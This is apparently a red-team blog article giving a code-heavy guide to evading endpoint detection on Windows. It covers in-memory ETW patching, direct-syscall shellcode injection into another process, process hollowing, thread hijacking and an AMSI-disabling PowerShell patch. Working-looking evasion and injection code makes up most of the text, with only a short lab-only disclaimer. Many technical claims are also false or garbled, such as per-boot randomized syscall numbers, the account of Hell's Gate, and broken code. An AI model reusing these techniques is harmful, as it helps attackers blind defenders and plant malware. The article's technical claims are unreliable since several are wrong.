AIMAD SECURITY • CYBERSECURITY TECHNICAL JOURNAL

Advanced Malware Evasion: Bypassing EDRs with Direct Syscalls, ETW Patching, and AMSI Bypass — The Complete Guide

Master kernel-level EDR evasion: patch ETW in memory, execute direct syscalls via SysWhispers2 and Hell's Gate, perform Process Hollowing, and blind AMSI — the red teamer's definitive guide to invisible execution.

Author: Aimad Ul Islam **Published:** 21 Oct 2026 **Updated:** 21 Oct 2026

Category: Cybersecurity, Malware Analysis, Red Team, Kernel Programming, Windows Internals **Read Time:** 34 min read

Original Article: https://aimadulislam.dpdns.org/posts/advanced-malware-evasion-bypassing-edrs-with-direct-syscalls-etw-patching-and-amsi-bypass-—-the-complete-guide/



Every modern EDR — CrowdStrike, Microsoft Defender for Endpoint, Carbon Black, SentinelOne — relies on the same fundamental assumption: *your code calls Windows APIs, and we will intercept them*. The moment you call `CreateRemoteThread`, `VirtualAllocEx`, or `NtWriteVirtualMemory`, the EDR's user-land hook fires, logs the event through the Event Tracing for Windows (ETW) pipeline, and feeds it to a detection engine that decides whether you are legitimate software or a backdoor.

But what if you never call the API at all? What if your code jumps directly into the kernel with a raw `syscall` instruction, bypassing every hook, every callback, every trace? What if you patch the ETW write function in memory so the EDR's own logging pipeline goes blind? What if you hollow out a legitimate process and inject your shellcode so the EDR sees a perfectly normal `svchost.exe` instead of your payload?

This is the world of **kernel-level EDR evasion**. It is the technique that separates a red teamer who gets detected in 30 seconds from one who stays invisible for weeks. In this guide, we will build your evasion toolkit from the ground up: understanding how EDRs hook, patching ETW in memory, executing direct syscalls from hand-written assembly, performing Process Hollowing and Thread Hijacking, and blinding AMSI so your PowerShell one-liners vanish from every scanner.

> ***Prerequisites & Disclaimer:*** *This guide assumes familiarity with the Windows memory model (PE format, sections, virtual addresses), basic x86-64 assembly, and the Windows API. All techniques are* ***offensive*** *and should only be run in a lab, a VM with snapshots, or on a target where you have explicit written permission. Running direct syscall or ETW patching code on a production host can cause system instability or a BSOD if the kernel interface changes between Windows builds. Always test in an isolated environment first.*

Part 1: How EDRs Hook APIs — Understanding the Attack Surface

Before you can bypass an EDR, you must understand exactly *where* it's watching. Modern EDRs operate at two primary interception layers in user space:

▸ 1.1 User-Land API Hooking (Inline Hooks in ntdll.dll)

When you write `VirtualAllocEx()` in your C code, you are actually calling a function inside `ntdll.dll`. The EDR injects a DLL into every process on the system. That injected DLL patches the first few bytes of `ntdll.dll`'s export functions with a `JMP` instruction that redirects execution to the EDR's own handler. The handler logs the call, inspects the parameters, and then either lets execution continue to the original function or blocks it entirely.

</> NASM

```
; Original ntdll.dll VirtualAllocEx entry point (simplified)
748F0A00:  4C 8B DC          mov  r11, r10
748F0A03:  B8 19 00 00 00    mov  eax, 19h
748F0A08:  0F 05             syscall
748F0A0A:  C3                ret
; After EDR inline hook — first bytes replaced with a JMP
748F0A00:  E9 78 34 00 00    jmp  0x748F3E7E   ; → EDR handler
748F0A05:  90 90 90          nop  nop  nop     ; padding
; ... original bytes now skipped ...
```

This is the most common interception method. Every call to `Nt*APIs` in `ntdll.dll` — `NtCreateThreadEx`, `NtWriteVirtualMemory`, `NtAllocateVirtualMemory` — is a potential detection point. The EDR doesn't care which process calls it; it patches `ntdll.dll` in *every* process on the machine.

1.2 ETW — Event Tracing for Windows

Beyond inline hooks, Windows itself provides a logging pipeline called **Event Tracing for Windows (ETW)**. The OS kernel emits events for virtually every notable action: thread creation, memory allocation, file access, registry modifications, network connections. These events flow through `EtwEventWrite` (exposed in `ntdll.dll`) to registered providers and consumers.

EDRs register as ETW consumers. The moment your code triggers an event that matches a registered provider (e.g., `Microsoft-Windows-Kernel-Process` for process creation), the EDR receives a structured event with full context — source PID, target PID, memory address, thread ID, timestamps. Even if you bypass the inline hook, the ETW event still fires because it's generated by the *kernel*, not by user-space code.

1.3 The Detection Chain

Here's the full chain from your code to detection:

</> TEXT

```
Your Process
    |
    ├──► Call VirtualAllocEx()
    |         |
    |         ├──► [INTERCEPTION POINT 1] Inline hook in ntdll.dll
    |         |         → EDR DLL handler fires
    |         |         → Logs: PID, address, size, protection flags
    |         |         → Detection engine evaluates
    |         |
    |         └──► [INTERCEPTION POINT 2] Kernel emits ETW event
    |                   → Microsoft-Windows-Kernel-Memory provider
    |                   → EDR ETW consumer receives event
    |                   → Correlation with other events
    |
    ├──► Call CreateRemoteThread()
    |         |
    |         ├──► [INTERCEPTION POINT 1] Inline hook in ntdll.dll
    |         |         → EDR handler: "Cross-process thread creation detected"
    |         |
    |         └──► [INTERCEPTION POINT 2] Kernel emits ETW event
    |                   → Microsoft-Windows-Kernel-Process provider
    |                   → EDR flags: remote thread in non-system process
    |
    └──► PowerShell executes Invoke-Expression
    |
    ├──► [INTERCEPTION POINT 3] AMSI hook
    |         → AmsiScanBuffer called with your script
    |         → AV engine scans in-memory
    |
    └──► [INTERCEPTION POINT 4] ETW provider
```

```
    → Microsoft-Windows-PowerShell provider

    → Script block logging
```

Every single one of those interception points can be bypassed. Let's do that, one by one.

Part 2: ETW Patching — Blinding the EDR's Logging Pipeline

The most elegant ETW bypass doesn't remove the EDR or kill its service. It simply **patches the bytes of `EtwEventWrite` in `ntdll.dll` to a `RET` instruction**. The function immediately returns without emitting any event. The EDR's ETW consumer sits there waiting for events that will never arrive.

▸ 2.1 How the Patch Works

</> NASM

```
; Original EtwEventWrite entry (first bytes)
76B20A00:  48 8B DC          mov  r11, r10
76B20A03:  B8 38 00 00 00    mov  eax, 38h
76B20A08:  0F 05             syscall
76B20A0A:  C3                ret
; Patched — replace first byte with C3 (RET)
76B20A00:  C3                ret    ← EtwEventWrite now does nothing
```

A single `C3` byte at the entry point makes the function return immediately. No syscall is issued. No event is emitted. The EDR's consumer sees silence.

▸ 2.2 Python Implementation (In-Memory Patch)

Here's a complete Python script that finds `EtwEventWrite` in `ntdll.dll` within your own process and patches it. This is the most common technique used by PowerShell-based evasion frameworks.

</> PYTHON

```
import ctypes

from ctypes import wintypes

def patch_etw():

    """

    Patch EtwEventWrite in ntdll.dll to RET (0xC3).

    This blinds any ETW consumer in the current process.

    """

# Load ntdll.dll (always mapped at a fixed base per process)

    ntdll = ctypes.windll.ntdll

# Get the address of EtwEventWrite

    etw_addr = ctypes.cast(

    getattr(ntdll, "EtwEventWrite"),

    ctypes.c_void_p

    ).value

    print(f"[+] EtwEventWrite found at: 0x{etw_addr:016X}")

# Read original first byte (should be part of the function prologue)

    original_byte = ctypes.c_ubyte.from_address(etw_addr).value

    print(f"[+] Original first byte: 0x{original_byte:02X}")

# Patch first byte to 0xC3 (RET)

# NOTE: We're patching in OUR process's memory space.

# For cross-process patching, use NtWriteVirtualMemory.

    ctypes.c_ubyte.from_address(etw_addr).value = 0xC3

# Verify

    patched_byte = ctypes.c_ubyte.from_address(etw_addr).value

    print(f"[+] Patched first byte:  0x{patched_byte:02X} (RET)")

    if patched_byte == 0xC3:

    print("[+] ETW patched successfully. EtwEventWrite is now a no-op.")

    return True

    else:

    print("[-] Patch failed.")
```

```
    return False
def unpatch_etw():
    """
    Restore the original byte (0x48 = MOV R11, R10 on x64).
    """
    ntdll = ctypes.windll.ntdll
    etw_addr = ctypes.cast(
    getattr(ntdll, "EtwEventWrite"),
    ctypes.c_void_p
    ).value
    ctypes.c_ubyte.from_address(etw_addr).value = 0x48
    print("[+] EtwEventWrite restored.")
if __name__ == "__main__":
    patch_etw()
# ... run your payload here ...
# unpatch_etw()  # optional: restore after execution
```

2.3 C++ Implementation (Cross-Process ETW Patch)

For a more robust approach — patching ETW in *another* process (e.g., your injected payload's host) — you need to use `NtWriteVirtualMemory`. And here's the irony: you should use a *direct syscall* to call `NtWriteVirtualMemory`, otherwise the EDR sees you calling it.

</> C++

```cpp
// etw_patch.cpp — Cross-process ETW patch via direct syscall

#include <windows.h>

#include <winternl.h>

#include <stdio.h>

// We'll resolve NtWriteVirtualMemory dynamically and call it via syscall

typedef LONG (WINAPI *NtWriteVirtualMemory_t)(

    HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T

);

// Syscall stub: eax = SSN, then syscall instruction

// SSN for NtWriteVirtualMemory on Windows 10/11 x64: 0x1C (28)

static void NtWriteVirtualMemory_Syscall(

    HANDLE hProcess,

    PVOID  baseAddress,

    PVOID  buffer,

    SIZE_T size,

    PSIZE_T bytesWritten

) {

    __asm {

    mov r10, rcx        ; r10 = hProcess (1st arg)

    mov eax, 0x1C       ; SSN for NtWriteVirtualMemory

    syscall

    }

}

BOOL PatchETWInProcess(HANDLE hTarget) {

    // 1. Find ntdll.dll base in target process

    //    (Walk PEB -> Ldr -> InMemoryOrderModuleList)

    //    For brevity, assume we know the base:

    PVOID ntdllBase = 0x7FFE00000000; // Example — resolve dynamically in practice

    // 2. Find EtwEventWrite RVA in ntdll.dll

    //    Parse PE header -> .export section -> "EtwEventWrite"
```

```
    DWORD etwRVA = 0x2A00; // Example — resolve dynamically in practice
    PVOID etwAddr = (PVOID)((ULONG64)ntdllBase + etwRVA);
    // 3. Patch first byte to 0xC3 (RET) via direct syscall
    BYTE retByte = 0xC3;
    SIZE_T written = 0;
    LONG status = NtWriteVirtualMemory_Syscall(
    hTarget,
    etwAddr,
    &retByte,
    1,
    &written
    );
    if (status == 0) {
    printf("[+] ETW patched in target process (PID: %lu)\n",
    (unsigned long)hTarget);
    return TRUE;
    }
    printf("[-] ETW patch failed: status 0x%08lX\n", (unsigned long)status);
    return FALSE;
}
```

2.4 Patching All ETW Write Functions

`EtwEventWrite` is not the only entry point. For completeness, patch all related functions:

Function	Purpose	Patch
`EtwEventWrite`	Write a single ETW event	First byte → `0xC3` (RET)
`EtwEventWriteEx`	Write an ETW event with extensions	First byte → `0xC3` (RET)
`EtwEventWriteTransfer`	Transfer ETW events between sessions	First byte → `0xC3` (RET)
`EtwRegisterTraceGuids`	Register a new ETW provider	First byte → `0xC3` (RET)
`EtwUnregisterTraceGuids`	Unregister an ETW provider	First byte → `0xC3` (RET)

> ***Important:*** *Patching ETW only affects the current process (or the target process if you use cross-process writes). It does not remove the EDR's kernel-mode drivers or its minifilter drivers. For full-stack evasion, combine ETW patching with direct syscalls (Part 3) and hook removal (Part 5).*

Part 3: Direct Syscalls — Bypassing User-Land Hooks Entirely

If ETW patching blinds the EDR's logging, **direct syscalls** bypass the EDR's interception entirely. Instead of calling through `ntdll.dll` (where the hook lives), you execute the `syscall` instruction directly from your own code. The CPU jumps into the kernel at `sw64`, the kernel dispatches the system call by its number, and the EDR never sees it because it was watching the *user-space function entry*, not the kernel entry point.

3.1 What Are System Service Numbers (SSNs)?

Every Windows system call — `NtCreateThreadEx`, `NtAllocateVirtualMemory`, `NtWriteVirtualMemory` — is assigned a unique number called a **System Service Number (SSN)**. The kernel's system call table (the `SvcTable`) is indexed by this number.

</> NASM

```
; The kernel's syscall dispatch (simplified)
sw64:
    mov r10, rcx            ; Preserve first argument
    mov rcx, rsp            ; Frame pointer
    mov r11, rax            ; Save SSN (was in rax)
    ; ... prolog ...
    call [gs:SysCallTable + r11*8]   ; Jump to handler by SSN
    ; ... epilog ...
    ret
```

The SSN is placed in `EAX` before the `syscall` instruction. On Windows 10/11 x64, the SSNs are **randomized per boot** (indirect branch prediction security) and differ between 32-bit and 64-bit. You must resolve them dynamically at runtime.

3.2 How to Resolve SSNs Dynamically

The standard technique (popularized by the "Hell's Gate" and "Hades' Gate" research) is to find `ntdll.dll`'s syscall stubs, read the `mov eax, 0xNNN` instruction, and extract the SSN:

</> NASM

```
; ntdll.dll stub for NtCreateThreadEx (SSN = 0x26 on this build)
7FFE00001A00:  B8 26 00 00 00    mov  eax, 26h      ← SSN is here!
7FFE00001A05:  0F 05             syscall
7FFE00001A07:  C3                ret
; To extract the SSN at runtime:
; 1. Get ntdll.dll base address (from PEB)
; 2. Parse PE export table to find "NtCreateThreadEx"
; 3. Read the 5-byte "mov eax, 0xNNN" instruction
; 4. The SSN is the last 4 bytes of that 5-byte instruction
```

3.3 SysWhispers2 — The Modern Tool

SysWhispers2 (the successor to SysWhispers) is a C/C++ header-only library that generates direct syscall stubs for you. You provide the Windows SDK's `winternl.h` and `winnt.h`, and it generates a `SysWhispers2.h` file with hand-written assembly for every `Nt*` function you specify.

</> C++

```
// ═══ SysWhispers2 Usage ═══

// Step 1: Generate the header (run once per Windows build)

//   python gen.py -f winternl.h -o SysWhispers2.h -s

// Step 2: Include and use

#include "SysWhispers2.h"

// The generated stub (simplified):

EXTERN_C NTSTATUS WINAPI NtCreateThreadEx(

    PHANDLE hThread,

    ACCESS_MASK dwDesiredAccess,

    LPVOID lpThreadAttributes,

    HANDLE hProcess,

    LPVOID lpStartAddress,

    LPVOID lpParameter,

    DWORD dwCreationFlags,

    SIZE_T dwStackSize,

    SIZE_T dwStackReserveSize,

    LPTP_START_ROUTINE lpStartAddress

);

// Step 3: Call it — no ntdll.dll in the call path

NTSTATUS status;

HANDLE hThread = NULL;

status = NtCreateThreadEx(

    &hThread,

    THREAD_ALL_ACCESS,

    NULL,

    hTargetProcess,

    (LPTHREAD_START_ROUTINE)RemoteShellcode,

    NULL,

    0,

    0,
```

```
    0,
    NULL
);
if (status == STATUS_SUCCESS) {
    printf("[+] Thread created via direct syscall (SSN: 0x%02X)\n", SSN_NtCreateThreadEx);
    NtClose(hThread);
}
```

The generated assembly for each function looks like this:

</> NASM

```
; SysWhispers2 generated stub for NtCreateThreadEx
; SSN resolved dynamically at init time
NtCreateThreadEx PROC
    mov r10, rcx              ; 1st arg (hThread)
    mov eax, [SSN_NtCreateThreadEx]  ; Load SSN (dynamically resolved)   syscall
    mov r10, rcx
    ret
NtCreateThreadEx ENDP
; SSN initialization (called once at module load)
InitSyscalls PROC
    ; Read SSN from ntdll.dll export stub
    ; NtCreateThreadEx stub: B8 NN 00 00 00 | 0F 05
    ; SSN = bytes[1..4] of the stub
    lea rax, [NtCreateThreadEx_Stub]  ; Address in ntdll.dll
    mov [SSN_NtCreateThreadEx], DWORD PTR [rax+1]  ; Extract 4-byte SSN
    ; ... repeat for all stubs ...
    ret
InitSyscalls ENDP
```

3.4 Hell's Gate — Calling 32-bit APIs from 64-bit Code

Hell's Gate (researched by SpectreOps, 2016) exploits the fact that `ntdll.dll` contains a 32-bit copy of its exports inside the 64-bit PE. The 32-bit stubs are located at a fixed offset within the PE file. By reading the SSN from the *32-bit* stub and executing a 32-bit `int 0x2E` (the 32-bit syscall mechanism) from within 64-bit code, you bypass both the 64-bit inline hooks *and* any 64-bit ETW consumers that are specifically watching the x64 syscall path.

</> C++

```cpp
// Hell's Gate: 32-bit syscall from 64-bit process
// The 32-bit ntdll exports are at a fixed RVA within the PE.
// 1. Find the 32-bit stub for NtWriteVirtualMemory
//    Offset = PE header + specific RVA (varies by build)
PVOID Stub32 = (PVOID)((ULONG_PTR)ntdllBase + NtWriteVirtualMemory_32bitRVA);
// 2. Read the SSN from the 32-bit stub
//    32-bit stub format: B8 NN 00 00 00 | 0F 05 | C3
DWORD ssn32 = *(DWORD*)((PUCHAR)Stub32 + 1);
// 3. Execute 32-bit syscall (requires 32-bit code segment)
//    In practice, use a 16-byte trampoline:
__asm {
    ; Switch to 32-bit mode (push 32-bit CS)
    push 0x0023            ; 32-bit code segment
    push offset HellGate_Stub
    retfq
HellGate_Stub:
    mov eax, [ssn32]
    mov ebx, [hProcess]       ; arg1
    mov ecx, [baseAddress]    ; arg2
    mov edx, [buffer]         ; arg3
    mov esi, [size]           ; arg4
    int 0x2E                ; 32-bit syscall
    ; return value in EAX
}
```

> ***Why it matters:*** *Many EDRs specifically hook the 64-bit `syscall` path in `ntdll.dll`. Hell's Gate sidesteps those hooks entirely by using the 32-bit `int 0x2E` mechanism, which the EDR often doesn't instrument because it's an unusual path for modern 64-bit applications.*

▸ 3.5 Hades' Gate — 32-bit API Calls via 16-bit Far Calls

Hades' Gate (2017) takes it one step further. Instead of a full 32-bit code segment switch, it uses a 16-bit `far call` (`retfq`) to jump to a 16-bit thunk that performs the 32-bit syscall. This is even less detectable because the 16-bit code path is essentially never used by modern software, and EDRs rarely hook it.

▸ 3.6 Comparison: Hook Bypass Techniques

Technique	Mechanism	Bypasses	Detection Risk
Direct Syscall (x64)	`syscall` from own code, SSN in `EAX`	User-land inline hooks in `ntdll.dll`	Low — but some EDRs scan for the `0F 05` opcode in .text
Hell's Gate (32-bit)	`int 0x2E` via 32-bit stub in `ntdll.dll`	x64 inline hooks + x64 ETW consumers	Very Low — unusual code path
Hades' Gate (16-bit)	16-bit far call → 32-bit `int 0x2E`	x64 + x32 inline hooks	Very Low — rare code path
IAT Hook Removal	Restore original bytes in ntdll IAT	IAT-based hooks (not inline)	Low — but ntdll IAT is protected
Whitelist DLL Call	Call API via a whitelisted DLL (e.g., `kernel32.dll`)	ntdll-specific hooks	Medium — EDR may hook kernel32 too

▸ 3.7 Practical Example: Cross-Process Injection via Direct Syscalls

Here's a complete C++ example that allocates remote memory, writes shellcode, and creates a remote thread — all through direct syscalls, invisible to inline-hook-based EDRs:

</> C++

```cpp
// direct_inject.cpp — Cross-process injection via direct syscalls

#include <windows.h>

#include <winternl.h>

#include "SysWhispers2.h"    // Generated header

#include <stdio.h>

// Our shellcode (32 bytes of x64 NOP sled + ret for testing)

BYTE shellcode[] = {

    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

    0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

};

int main() {

    // 1. Open target process (e.g., notepad.exe)

    DWORD targetPID = 4242; // Resolve dynamically

    HANDLE hTarget = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

    if (!hTarget) {

    printf("[-] OpenProcess failed: %lu\n", GetLastError());

    return 1;

    }

    printf("[+] Target process opened: PID %lu\n", targetPID);

    SIZE_T memSize = sizeof(shellcode);

    // 2. Allocate remote memory — DIRECT SYSCALL (bypasses ntdll hook)

    PVOID remoteMem = NtAllocateVirtualMemory(

    hTarget,              // hProcess

    NULL,                 // lpAddress (let OS choose)

    0,                    // dwZeroBased

    &memSize,             // lpSize

    MEM_COMMIT | MEM_RESERVE,

    PAGE_READWRITE        // flProtect
```

```
);
if (!remoteMem) {
printf("[-] NtAllocateVirtualMemory failed\n");
return 1;
}
printf("[+] Remote memory allocated at 0x%p (size: %lu bytes)\n",
remoteMem, (unsigned long)memSize);
// 3. Write shellcode — DIRECT SYSCALL
SIZE_T bytesWritten = 0;
NTSTATUS status = NtWriteVirtualMemory(
hTarget,
remoteMem,
shellcode,
memSize,
&bytesWritten
);
if (status ≠ STATUS_SUCCESS) {
printf("[-] NtWriteVirtualMemory failed: 0x%08X\n", (unsigned int)status);
return 1;
}
printf("[+] Shellcode written (%lu bytes)\n", (unsigned long)bytesWritten);
// 4. Change protection to EXECUTE — DIRECT SYSCALL
DWORD oldProtect;
NtProtectVirtualMemory(
hTarget,
&remoteMem,
&memSize,
PAGE_EXECUTE_READ,
&oldProtect
);
```

```
    printf("[+] Memory protection set to PAGE_EXECUTE_READ\n");

    // 5. Create remote thread — DIRECT SYSCALL

    HANDLE hThread = NULL;

    status = NtCreateThreadEx(

    &hThread,

    THREAD_ALL_ACCESS,

    NULL,

    hTarget,

    (LPTHREAD_START_ROUTINE)remoteMem,

    NULL,

    0,

    0, 0,

    NULL

    );

    if (status == STATUS_SUCCESS) {

    printf("[+] Remote thread created via NtCreateThreadEx (direct syscall)\n");

    printf("[+] Thread handle: 0x%p\n", hThread);

    // Optionally wait for thread to finish

    NtWaitForSingleObject(hThread, FALSE, NULL);

    NtClose(hThread);

    } else {

    printf("[-] NtCreateThreadEx failed: 0x%08X\n", (unsigned int)status);

    }

    // 6. Cleanup

    NtClose(hTarget);

    printf("[*] Done.\n");

    return 0;

}
```

> ***Key Point:*** *In this entire sequence, not a single call goes through the EDR's hooked* `ntdll.dll` *entry points. Every* `Nt*` *function is called via a locally-resolved* `syscall` *instruction. The EDR's inline hooks in* `ntdll.dll` *are never triggered. The ETW events may still fire (generated by the kernel), but if you've also patched ETW (Part 2), the EDR is completely blind.*

Part 4: Process Injection — Beyond CreateRemoteThread

`CreateRemoteThread` is the simplest injection primitive, but it's also the most easily detected. The EDR sees: *"Process A created a thread in Process B with a start address pointing to RWX memory."* That's a red flag on every detection engine.

Advanced red teams use two far stealthier techniques: **Process Hollowing** and **Thread Hijacking**.

▸ 4.1 Process Hollowing

Process Hollowing is the technique of taking a legitimate process (like `svchost.exe` or `lsass.exe`), suspending its main thread, unmapping all its original code and data sections, and mapping your own payload in their place. When you resume the thread, the CPU starts executing *your* code, but the EDR sees a perfectly normal Windows system process.

</> NASM

```
; Process Hollowing — Step-by-Step (x64)

; ═══ STEP 1: Create target process in suspended state ═══

; (Use direct syscall: NtCreateUserProcess)

hProcess = NtCreateUserProcess(

    &hProcess, &hThread,

    PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,

    NULL, NULL,

    NULL, NULL,

    lpStartupInfo,       // points to "C:\Windows\System32\svchost.exe"

    lpProcessParams

);

; Process is created but main thread is SUSPENDED

; ═══ STEP 2: Get the original image base and size ═══

; Read PEB → Ldr → InMemoryOrderModuleList[0] (the main PE)

PVOID imageBase = (PVOID)ReadULongPtr(hProcess, pebBase + 0x10);

SIZE_T imageSize = ReadULongPtr(hProcess, pebBase + 0x18);

; imageBase = 0x7FFE00000000 (typical for svchost.exe)

; imageSize = 0x500000

; ═══ STEP 3: Decommit original code and data ═══

; Unmap the .text, .data, .rdata sections

NtUnmapViewOfSection(hProcess, imageBase, NULL);

; OR: NtProtectVirtualMemory(imageBase, imageSize, MEM_RESET, 0, &old)

; OR: NtUnmapViewOfSection for each section individually

; ═══ STEP 4: Commit new memory at the same base ═══

NtAllocateVirtualMemory(

    hProcess,

    &imageBase,        ; same base address

    0,

    &imageSize,        ; same size (or your payload size)

    MEM_COMMIT | MEM_RESERVE,
```

```
    PAGE_EXECUTE_READWRITE
);
; ═══ STEP 5: Write your PE image into the unmapped region ═══
; Your PE must have the same base address as the original,
; OR you patch the IAT and rebase at runtime.
NtWriteVirtualMemory(hProcess, imageBase, yourPEImage, peSize, NULL);
; ═══ STEP 6: Patch the entry point ═══
; Get the TEB (Thread Environment Block) from PEB
PVOID tebAddr = (PVOID)ReadULongPtr(hProcess, pebBase + 0x40);
; TEB→NtTib→EntryPoint = your PE's Entry Point RVA
WriteULongPtr(hProcess, tebAddr + 0x10, yourEntryPoint);
; ═══ STEP 7: Resume the suspended thread ═══
NtResumeThread(hThread, NULL);
; CPU starts executing YOUR code at YOUR entry point
; EDR sees: "svchost.exe running normally" ✓
```

▸ 4.2 Thread Hijacking

Thread Hijacking is even more surgical. You don't create a new thread or hollow the whole process. You take an *existing* thread in a *sleeping* state (e.g., a thread blocked in `WaitForSingleObject`), overwrite its instruction pointer (RIP) in the context, and make it start executing your shellcode. The thread was already "alive" — you just redirected where it goes.

NASM

```
; Thread Hijacking — Step-by-Step (x64)

; ═══ STEP 1: Find a sleeping thread in the target process ═══

; Enumerate threads, find one in WAIT state

; (Use NtQueryInformationProcess with ProcessThreadAttribute)

HANDLE hTargetThread = FindSleepingThread(hTargetProcess);

; Example: a thread in svchost.exe waiting on a message pump

; ═══ STEP 2: Get the thread's current context ═══

CONTEXT ctx = {};

ctx.ContextFlags = CONTEXT_ALL;

NtGetContextThread(hTargetThread, &ctx);

; ctx.Rip = address of WaitForSingleObject (or wherever it's sleeping)

; ═══ STEP 3: Allocate and write shellcode (direct syscalls) ═══

PVOID shellAddr = NtAllocateVirtualMemory(

    hTargetProcess, NULL, 0,

    &shellSize,

    MEM_COMMIT | MEM_RESERVE,

    PAGE_EXECUTE_READ

);

NtWriteVirtualMemory(hTargetProcess, shellAddr, myShellcode, shellSize, NULL);

; ═══ STEP 4: Save a "return trampoline" ═══

; After our shellcode finishes, we need to restore the original RIP

; and let the thread continue where it was sleeping.

; Write a small trampoline:

;   [our shellcode]

;   mov rax, <original RIP>

;   jmp rax

PVOID trampoline = (PBYTE)shellAddr + shellSize;

WriteTrampoline(hTargetProcess, trampoline, ctx.Rip);

; ═══ STEP 5: Patch the context ═══

ctx.Rip = (ULONG_PTR)shellAddr;   ; Start executing our shellcode
```

```
ctx.Rsp = ctx.Rsp - 0x28;        ; Adjust stack for extra instructions

; (Optionally: set RAX, RBX, RCX, RDX to neutral values)

; ═══ STEP 6: Set the new context ═══

NtSetContextThread(hTargetThread, &ctx);

; ═══ STEP 7: Resume the thread ═══

NtResumeThread(hTargetThread, NULL);

; The thread wakes up, CPU hits YOUR shellcode

; After shellcode finishes, trampoline restores original RIP

; Thread continues as if it was never interrupted

; EDR sees: "svchost.exe thread resumed from wait" ✓
```

▸ 4.3 Process Hollowing vs. Thread Hijacking

Attribute	Process Hollowing	Thread Hijacking
Process state	New process, suspended	Existing running process
Thread state	Main thread suspended	Existing thread in WAIT
Memory changes	Unmap + remap entire image	Allocate small region + patch RIP
Visibility	Very low (looks like normal process)	Very low (thread was already "normal")
Complexity	High (PE rebasing, IAT fixups)	Medium (context manipulation)
Best for	Full PE payload injection	Shellcode / short payloads
Detection risk	Low (if done via direct syscalls)	Very Low (single thread, small footprint)

Part 5: AMSI Bypass — Blinding PowerShell Scanning

If your payload runs in PowerShell (and a large percentage of initial access payloads do), the first thing that happens is `AmsiScanBuffer()`. The Anti-Malware Scan Interface hooks into the PowerShell engine, captures every script block in memory, and sends it to the AV engine for scanning. Even if the script is obfuscated, encoded, or split across multiple lines, AMSI sees the *final decoded buffer*.

▸ 5.1 How AMSI Hooks Work

AMSI operates through two functions in `amsi.dll`:

- `AmsiInitialize()` — Called once per PowerShell session. Returns an `IAmsiScanSession` COM object.
- `AmsiScanBuffer()` — Called for every script block. Takes the raw bytes of the script and returns `AMSI_RESULT_NOT_DETECTED` or `AMSI_RESULT_DETECTED`.

The hook point is in `System.Management.Automation` (.NET). Every time PowerShell executes a script block, the runtime calls `AmsiScanBuffer` with the decoded content. The function `amsi.dll!AmsiScanBuffer` is the entry point.

5.2 The Classic AMSI Patch (1-Byte NOP)

The most widely used AMSI bypass patches the first byte of `AmsiScanBuffer` to `0xC3` (RET). The function immediately returns `AMSI_RESULT_NOT_DETECTED` (which is `0x0`, and the function's return value in `EAX` was already zero from the last operation).

</> POWERSHELL

```
import System.Management.Automation

import System.Reflection

# Load amsi.dll

$amsi = [System.Reflection.Assembly]::LoadWithPartialName("System.Management.Automation")

# Get the AmsiScanBuffer method

$type = $amsi.GetType("System.Management.Automation.AmsiUtils")

$method = $type.GetMethod("AmsiScanBuffer", [BindingFlags]::Instance -bor
[BindingFlags]::NonPublic)

# Get the function pointer from the COM interface

$amsiInit = $type.GetMethod("AmsiInitialize", [BindingFlags]::Static -bor
[BindingFlags]::NonPublic)

$amsiCtx = $amsiInit.Invoke($null, @())

# Find AmsiScanBuffer in amsi.dll exports

$amsiDll = [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate(

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(

    [IntPtr]::Zero, [type]

    )

)

# --- SIMPLIFIED: Direct memory patch ---

# Get the address of AmsiScanBuffer in amsi.dll

$amsiModule = [System.Diagnostics.Process]::CurrentProcess.MainModule

# Find amsi.dll in the module list

$amsiModule = $null

foreach ($m in [System.Diagnostics.Process]::CurrentProcess.Modules) {

    if ($m.ModuleName -eq "amsi.dll") { $amsiModule = $m; break }

}

# Find AmsiScanBuffer export

$exports = [System.Runtime.InteropServices.Marshal]::GetFunctionPointer(

    [IntPtr]::Zero, [type]

    )

)
```

```powershell
# --- CLEAN IMPLEMENTATION ---

# Find the entry point of AmsiScanBuffer

$peFile = [System.IO.File]::ReadAllBytes($amsiModule.FileName)

$peHeaderOffset = [BitConverter]::ToInt32($peFile, 0x3C)

$optionalHeaderOffset = $peHeaderOffset + 24  # PE header size + data dir offset

$exportDirRVA = [BitConverter]::ToUInt32($peFile, $optionalHeaderOffset + 112)  # x64: data
dir[0]

$exportDirSize = [BitConverter]::ToUInt32($peFile, $optionalHeaderOffset + 116)

# Walk export directory to find "AmsiScanBuffer"

$exportDirVA = [BitConverter]::ToUInt32($peFile, $exportDirRVA)

$nameTableRVA = [BitConverter]::ToUInt32($peFile, $exportDirVA + 24)

$nameCount = [BitConverter]::ToUInt32($peFile, $exportDirVA + 20)

$funcTableRVA = [BitConverter]::ToUInt32($peFile, $exportDirVA + 12)

for ($i = 0; $i -lt $nameCount; $i++) {

    $nameRVA = [BitConverter]::ToUInt32($peFile, $nameTableRVA + ($i * 4))

    $name = [System.Text.Encoding]::ASCII.GetString($peFile, $nameRVA)

    if ($name -eq "AmsiScanBuffer") {

    $ordIndex = [BitConverter]::ToUInt16($peFile, $nameTableRVA + ($i * 4) + 2)

    $funcRVA = [BitConverter]::ToUInt32($peFile, $funcTableRVA + ($ordIndex * 4))

    break

    }

}

# Calculate absolute address

$funcAddr = [IntPtr]($amsiModule.BaseAddress.ToInt64() + $funcRVA)

Write-Host "[+] AmsiScanBuffer found at: 0x$($funcAddr.ToString('X16'))"

# Read original first 2 bytes

$origBytes = [System.Runtime.InteropServices.Marshal]::ReadInt16($funcAddr, 0)

Write-Host "[+] Original bytes: 0x$($origBytes.ToString('X4'))"

# Patch first byte to 0xC3 (RET)

[System.Runtime.InteropServices.Marshal]::WriteByte($funcAddr, 0xC3)
```

```powershell
# Verify

$patched = [System.Runtime.InteropServices.Marshal]::ReadByte($funcAddr)

if ($patched -eq 0xC3) {

    Write-Host "[+] AMSI PATCHED. AmsiScanBuffer is now a no-op." -ForegroundColor Green

} else {

    Write-Host "[-] Patch failed." -ForegroundColor Red

}

